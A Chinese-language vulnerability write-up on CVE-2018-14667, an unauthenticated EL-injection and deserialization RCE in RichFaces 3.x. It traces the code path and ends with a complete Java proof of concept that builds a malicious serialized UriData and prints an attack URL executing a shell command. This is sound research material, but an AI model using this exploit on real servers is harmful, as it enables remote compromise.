作者:lucifaer
作者博客:https://www.lucifaer.com/

剛開始分析Java的漏洞,很多東西感覺還是有待學習…

0x00 漏洞描述

The RichFaces Framework 3.X through 3.3.4 is vulnerable to Expression Language (EL) injection via the UserResource resource. A remote, unauthenticated attacker could exploit this to execute arbitrary code using a chain of java serialized objects via org.ajax4jsf.resource.UserResource$UriData.

根據漏洞描述,可以得知是通過UserResource注入EL表達式而造成的rce。而未經身份驗證的攻擊者可以通過org.ajax4jsf.resource.UserResource$UriData的反序列化利用鏈,完成rce。

0x01 整體觸發流程

MediaOutputRenderer$doEncodeBegin:54 
# 觸發createUserResource方法,將序列化內容寫到Map映射中
BaseFilter$doFilter
  InternetResourceService$serviceResource:101 # 根據resourceKey獲取資源
    ResourceBuilderImpl$getResourceForKey:217 # 從Map映射中利用鍵值獲取序列化內容
  InternetResourceService$serviceResource:106 # 根據resourceKey獲取資源
    ResourceBuilderImpl$getResourceDataForKey:227 # 白名單過濾,反序列化
  InternetResourceService$serviceResource:115 # 觸發反序列化方法
    UserResource$getLastModified:73 # 可被觸發的反序列化方法之一
        ValueExpression$getValue:4 # 執行el表達式

0x02 漏洞分析

2.1 UserResource

官方給的描述是通過UserResource類進行EL表達式注入的,全局搜一下UserResource這個類,定位到org.ajax4jsf.resource.UserResource。同樣官方說可以用UriData進行反序列化利用鏈的構造,簡單看了一下,需要注意的以下三個方法:

  • send()
  • getLastModified()
  • getExpired()

以上三個方法流程大致相同,挑了getLastModified跟一下:

img

可以看出能利用UriData執行EL表達式。跟一下UriData是從哪里來的:

img

無論怎樣最后會獲得一個對象,繼續跟一下:

img

getter/setter方法獲值,跟進一下是什么地方賦值的,在org.ajax4jsf.resource.ResourceContext$serviceResource

img

img

可以清楚的看出,在

resourceContext.setResourceData(resourceDataForKey);

這里完成了set方法。我們現在跟一下上面的流成,看看resourceContext具體是一個什么東西。

2.2 InternetResourceService

首先跟一下getResourceDataForKey:

img

根據繼承關系可以看到是在ResourceBuilderImpl中實現的:

img

首先對resourceDataForKey進行了字符串截取,之后將字符串進行解密,最后調用了LookAheadObjectInputStream,我們跟一下這個類有什么作用:

img

可以看到這個類重寫了resolveClass方法,也就是說在加載過程中會調用到這個resolveClass方法,并連接到指定的類。在其中有一個this.isClassValid(desc.getName())實現了白名單檢測:

img

可以看到調用了class.isAssignableFrom校驗反序列化的類,也就是說如果反序列化的類是白名單中類的子類或者接口是可以通過該項校驗的。向下看一下,可以發現whitelistBaseClasses是從resource-serialization.properties中加載的:

img

UserResource恰好是InternetResource的子類,UserResource$UriDataSerializableResource的子類:

img

img

img

所以滿足反序列化白名單的要求。

反過頭來看一下之前的字符串解密過程:

img

img

Coded中的dnull,也就是說這個解密過程為

base64decode -> zip解密

現在反序列化流程是我們可以控制的,我們回頭看一下組成resourceContext的另一部分resource的生成過程:

img

img

首先對url進行了截取,之后通過鍵值關系在Map映射中獲取資源。看一下在哪里對Map進行的填充:

img

img

img

可以看到首先根據生成的path去獲取userResource,獲取不到的話就new一個,然后加入到resources Map中,也就是說只要我們找到哪里調用了createUserResource就可以控制source的值。

查看createUserResource的調用點時發現只有MediaOutputRenderer$doEncodeBegin調用了該方法。

2.3 MediaOutputRenderer

img

看一下MediaOutputRenderer的處理邏輯,首先創建了userResource,然后調用了getter的方法獲取userResourceUri,之后將Uri放到了ResponseWriter中,我們看一下最后這個ResponseWriter最后干了什么:

img

將會把URL打印到頁面上。

現在我們看一下getUri的處理過程:

img

img

調用到了UserResource$getDataToStore

img

可以看到主要完成的工作就是將MediaOutputRenderercomponent參數(從代碼中可以看出是從標簽字段中獲得的值)中的一些值提取出來賦值到UriData對象中,最后返回UriData對象。

繼續跟進一下getUri

img

可以看到storeData就是UriData對象,將其序列化后經過encrypt加密后返回到resourceURL中。回看一下反序列化過程:

img

img

也就是我們只需要構造/DATA/后的數據就好,/DATA/前半段的數據是可以從url中獲取的:

img

至此整個RCE的流程就分析完了。

0x03 構造POC

梳理整理整個的觸發流程,發現該漏洞可執行getLastModifiedgetExpiredsend這三個方法,完成EL表達式的執行,但是他們的觸發條件是不同的:

  • resource.isCacheabletrue觸發getLastModifiedgetExpired
  • resource.isCacheablefalse觸發getLastModifiedsend

這里解釋一下為什么在resource.isCacheablefalse時還會觸發getLastModified,調用棧如下:

InternetResourceService$serviceResource:152 # 進入else處理環節
  ResourceLifecycle$send:37 # 無論如何都會調用sendResource方法
  ResourceLifecycle$send:117 # resource.sendHeaders觸發getLastModified方法,send觸發send方法。

可以看到最穩定的觸發點就是getLastModified,接下來的poc也以這個穩定觸發點為例。根據在0x01中已經提及的流程,逆向的生成UriData,序列化,加密,即可。

3.1 選擇反射生成的對象

根據tint0的文章,選擇使用javax.faces.component.StateHolderSaver來作為反射生成的對象,也就是modified對象,使用這個對象的原因是因為這個對象在反序列化失敗時可以返回一個null對象,最后應用會返回一個200狀態碼,而當反序列化成功時,就嘗試將狀態對象轉換成一個數組,如果失敗時會拋出一個Richface無法捕捉的異常,應用最后返回一個500狀態碼。利用狀態碼的不同,可以判斷我們的反序列化過程是否成功執行。

String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"open /Applications/Calculator.app\")}";
// 根據文章https://www.anquanke.com/post/id/160338
Class cls = Class.forName("javax.faces.component.StateHolderSaver");
Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
ct.setAccessible(true);

Location location = new Location("", 0, 0);

3.2 生成UriData

主要點在于構造UriData中的modified字段。首先整理生成modified所需要的幾個條件:

  1. Date類的對象
  2. 生成該對象時需要調用一個ValueExpression類的getValue

跟一下getValue

img

根據繼承類來看,右邊框內的類都是我們可以利用的,以TagValueExpression舉例:

img

img

可以看到需要另外一個ValueExpression類,并且調用其getValue的方法。

我們首先看該構造函數的第一個需要構造的參數attr

img

該類的構造函數為:

img

可以看到關鍵點在于將我們的EL表達式構造到value處,其他的參數可以為空。

接著看第二個需要構造的參數orig,這里我們調用另一個ValueExpressionImpl類來構造這個orig參數:

img

img

跟一下getNodegetValue

img

下個斷動態調一下,發現應如此構造expr:

pocEL+" modified"

其他的參數可以為空。這樣我們就可以構造一個完整的TagValueExpression類,這個類可以執行我們的EL表達式。

// 1. 設置UriData
//    設置UriData.value
Object value = "cve-2018-14667";
//    設置UriData.createContent
Object createContent = "cve-2018-14667";
//    設置UriData.expires
Object expires = "cve-2018-14667";
//    設置UriData.modified
TagAttribute tag = new TagAttribute(location, "", "", "poc", "modified="+pocEL);
ValueExpressionImpl valueExpression = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
TagValueExpression tagValueExpression = new TagValueExpression(tag, valueExpression);
Object modified = ct.newInstance(null, tagValueExpression);

3.3 序列化

之后的步驟就是利用反射構造一個UriData,并進行初始化,同時執行序列化:

UserResource.UriData uriData = new UserResource.UriData();

Field valueField = uriData.getClass().getDeclaredField("value");
valueField.setAccessible(true);
valueField.set(uriData, value);

Field createContentField = uriData.getClass().getDeclaredField("createContent");
createContentField.setAccessible(true);
createContentField.set(uriData, createContent);

Field expiresField = uriData.getClass().getDeclaredField("expires");
expiresField.setAccessible(true);
expiresField.set(uriData, expires);

Field modifiedField = uriData.getClass().getDeclaredField("modified");
modifiedField.setAccessible(true);
modifiedField.set(uriData, modified);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(uriData);
objectOutputStream.flush();
objectOutputStream.close();
byteArrayOutputStream.close();

3.4 加密

可以直接復制ResourceBuilderImpl$encrypt的加密函數,就在decrypt的上面:

byte[] pocData = byteArrayOutputStream.toByteArray();
Deflater compressor = new Deflater(1);
byte[] compressed = new byte[pocData.length + 100];
compressor.setInput(pocData);
compressor.finish();
int totalOut = compressor.deflate(compressed);
byte[] zipsrc = new byte[totalOut];
System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
compressor.end();
byte[]dataArray = URL64Codec.encodeBase64(zipsrc);

這里要注意一下順序,在反序列化前,解密的順序為base64+zip,那么加密過程就需要zip+base64。

完整版POC

import com.sun.facelets.el.TagValueExpression;
import com.sun.facelets.tag.TagAttribute;
import com.sun.facelets.tag.Location;
import org.ajax4jsf.util.base64.URL64Codec;
import org.jboss.el.ValueExpressionImpl;
import org.ajax4jsf.resource.UserResource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Date;
import java.util.zip.Deflater;

import javax.faces.context.FacesContext;

public class poc {
    public static void main(String[] args) throws Exception{
        String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"open /Applications/Calculator.app\")}";
        // 根據文章https://www.anquanke.com/post/id/160338
        Class cls = Class.forName("javax.faces.component.StateHolderSaver");
        Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
        ct.setAccessible(true);

        Location location = new Location("", 0, 0);

        // 1. 設置UriData
        //    設置UriData.value
        Object value = "cve-2018-14667";
        //    設置UriData.createContent
        Object createContent = "cve-2018-14667";
        //    設置UriData.expires
        Object expires = "cve-2018-14667";
        //    設置UriData.modified
        TagAttribute tag = new TagAttribute(location, "", "", "poc", "modified="+pocEL);
        ValueExpressionImpl valueExpression = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
        TagValueExpression tagValueExpression = new TagValueExpression(tag, valueExpression);
        Object modified = ct.newInstance(null, tagValueExpression);

        // 2. 序列化
        UserResource.UriData uriData = new UserResource.UriData();

        Field valueField = uriData.getClass().getDeclaredField("value");
        valueField.setAccessible(true);
        valueField.set(uriData, value);

        Field createContentField = uriData.getClass().getDeclaredField("createContent");
        createContentField.setAccessible(true);
        createContentField.set(uriData, createContent);

        Field expiresField = uriData.getClass().getDeclaredField("expires");
        expiresField.setAccessible(true);
        expiresField.set(uriData, expires);

        Field modifiedField = uriData.getClass().getDeclaredField("modified");
        modifiedField.setAccessible(true);
        modifiedField.set(uriData, modified);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(uriData);
        objectOutputStream.flush();
        objectOutputStream.close();
        byteArrayOutputStream.close();

        // 3. 加密(zip+base64)
        //
        byte[] pocData = byteArrayOutputStream.toByteArray();
        Deflater compressor = new Deflater(1);
        byte[] compressed = new byte[pocData.length + 100];
        compressor.setInput(pocData);
        compressor.finish();
        int totalOut = compressor.deflate(compressed);
        byte[] zipsrc = new byte[totalOut];
        System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
        compressor.end();
        byte[]dataArray = URL64Codec.encodeBase64(zipsrc);

        // 4. 打印最后的poc
        String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf";
        System.out.println(poc);
    }
}

效果:

img

0x04 Reference


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/765/